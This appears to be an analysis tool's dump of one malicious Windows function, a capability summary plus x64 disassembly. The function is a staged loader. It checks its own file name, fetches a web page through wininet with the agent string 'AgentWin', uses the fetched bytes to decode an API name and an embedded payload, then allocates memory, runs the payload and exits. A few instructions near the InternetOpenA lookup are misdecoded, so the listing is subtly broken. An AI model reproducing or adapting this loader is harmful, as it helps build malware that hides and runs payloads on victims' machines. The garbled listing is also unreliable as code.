Function at 0x14015087c
Capabilities:
Set environment variable
Terminate process

Disassembly:
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x50
mov rcx, qword [str.KERNEL32.dll]
xor edi, edi
xor edx, edx
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov r14, rax
mov edx, dword [0x1401ea31c]
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov rsi, rax
xor ecx, ecx
mov rdx, rax
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xor eax, eax
movzx ecx, word [rsi + rdi*2]
cmp cx, 0x5c
cmove eax, edi
inc rdi
test cx, cx
jne 0x1401508c7
mov rdi, qword [0x1401ea340]
cmp dword [rdi], 0
je 0x140150937
cdqe
lea rsi, [rsi + rax*2]
add rsi, 2
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
cmp byte [rdi], al
je 0x140150906
cmp byte [rdi + 1], al
jne 0x140150b0e
movzx ecx, word [rsi]
xor eax, eax
test cx, cx
je 0x140150929
xor eax, eax
mov edx, 1
movzx ecx, cx
add eax, ecx
mov ecx, edx
movzx ecx, word [rsi + rcx*2]
inc edx
test cx, cx
jne 0x140150917
cmp eax, dword [rdi + 4]
je 0x140150937
cmp eax, dword [rdi + 8]
jne 0x140150b0e
mov edx, dword [0x1401ea31c]
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov r15, rax
mov rcx, qword [str.wininet.dll]
xor edi, edi
xor edx, edx
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rsi, rax
mov rdx, qword [str.InternetOpenA]
mov rbx, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call rbx
ror dword [rax - 0x77], cl
and al, 0x48
mov rdx, qword [str.InternetOpenUrlA]
mov rcx, rsi
call rbx
mov qword [rsp + 0x40], rax
mov rdx, qword [str.InternetReadFile]
mov rcx, rsi
call rbx
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x34], edi
mov rax, qword [rsp + 0x48]
mov rcx, qword [str.AgentWin]
mov dword [rsp + 0x20], edi
mov edx, 1
xor r8d, r8d
xor r9d, r9d
call rax
test rax, rax
je 0x140150b0e
mov rbx, qword [rsp + 0x40]
mov ecx, dword [0x1401ea2ec]
mov rdx, qword [str.https:__www.openssh.com_txt_release_6.1]
mov dword [rsp + 0x20], ecx
mov qword [rsp + 0x28], 0
mov rcx, rax
xor r8d, r8d
xor r9d, r9d
call rbx
test rax, rax
je 0x140150b0e
mov r13, rax
mov rax, qword [rsp + 0x38]
mov r8d, dword [0x1401ea31c]
lea r9, [rsp + 0x34]
mov rcx, r13
mov rdx, r15
call rax
test eax, eax
je 0x140150b0e
mov eax, dword [rsp + 0x34]
test eax, eax
je 0x140150b0e
lea r12, [rsp + 0x34]
mov rdi, r15
mov rsi, rdi
mov ebx, eax
add rdi, rbx
mov rax, qword [rsp + 0x38]
mov r8d, dword [0x1401ea31c]
mov rcx, r13
mov rdx, rdi
mov r9, r12
call rax
test eax, eax
je 0x140150a5c
mov eax, dword [rsp + 0x34]
test eax, eax
jne 0x140150a31
cmp rdi, r15
je 0x140150b0e
mov eax, dword [r15]
add rsi, rbx
mov rcx, 0xfffffffffffffffc
mov rdx, qword [0x1401ea330]
mov edx, dword [rdx + rcx + 4]
add edx, eax
mov dword [rsi + rcx + 4], edx
add rcx, 4
cmp rcx, 0x10
jb 0x140150a72
mov rcx, r14
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140150b0e
mov r9d, dword [0x1401ea2e8]
mov edx, dword [0x1401ea31c]
xor ecx, ecx
mov r8d, 0x1000
call rax
mov rcx, qword [0x1401ea308]
mov rdx, qword [0x1401ea2d0]
mov edx, edx
add rcx, rdx
add rcx, 8
mov edx, dword [rcx - 4]
mov ebx, 4
mov edi, dword [rcx + rbx - 4]
add edi, edx
mov dword [rax + rbx + 4], edi
add rbx, 4
cmp rbx, 0x4ffc
jb 0x140150ad4
mov ecx, dword [0x1401ea2f0]
mov dword [rax + 8], ecx
mov ecx, dword [0x1401ea2f4]
add rcx, rax
mov edx, dword [rax + 0xc]
add rdx, rcx
mov ecx, dword [0x1401ea2f4]
add rcx, rax
call rdx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]